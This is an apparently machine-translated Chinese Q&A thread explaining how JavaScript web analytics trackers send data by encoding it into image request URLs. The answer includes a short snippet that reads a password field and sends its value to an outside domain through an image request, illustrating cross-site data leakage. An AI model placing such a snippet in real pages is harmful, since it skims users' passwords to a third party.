javascript - 任何人都知道 Javascript Web Analytics tracker 是如何工作的？

Question

有人知道 Google Analytics 或 Clicky 的工作原理吗？

我坚持搜索整个 http://static.getclicky.com/js 的事实文件，但未在其中找到任何服务器请求。它如何在不损害自身安全的情况下发送数据？否则用户可能会通过修改 js 发送虚假数据。

Answer 1

图像:这些库使用了一种技巧，它们对所需的所有跟踪信息进行编码，将其附加到图像 URL，并通过请求图像来“发送”它。该图像文件名的服务器端解析解码信息。

假设您有一个要从 mydomain.com 发送到 somedomain.com 的密码字段:

<input type='password' id='p' />

此 javascript 可以通过违反跨站点限制来发送内容:

var t = document.getElementById('p').value;
var i = document.createElement('img');
i.src = 'http://somedomain.com/imagescript.php?p=' + t;

跨站点脚本限制不适用于图像，当您用 JavaScript 编写图像 URL 请求时，世界上没有浏览器或逻辑可以解释所有可能性。假设我们很幸运，GA 是合乎道德的并且不会妨碍表单字段。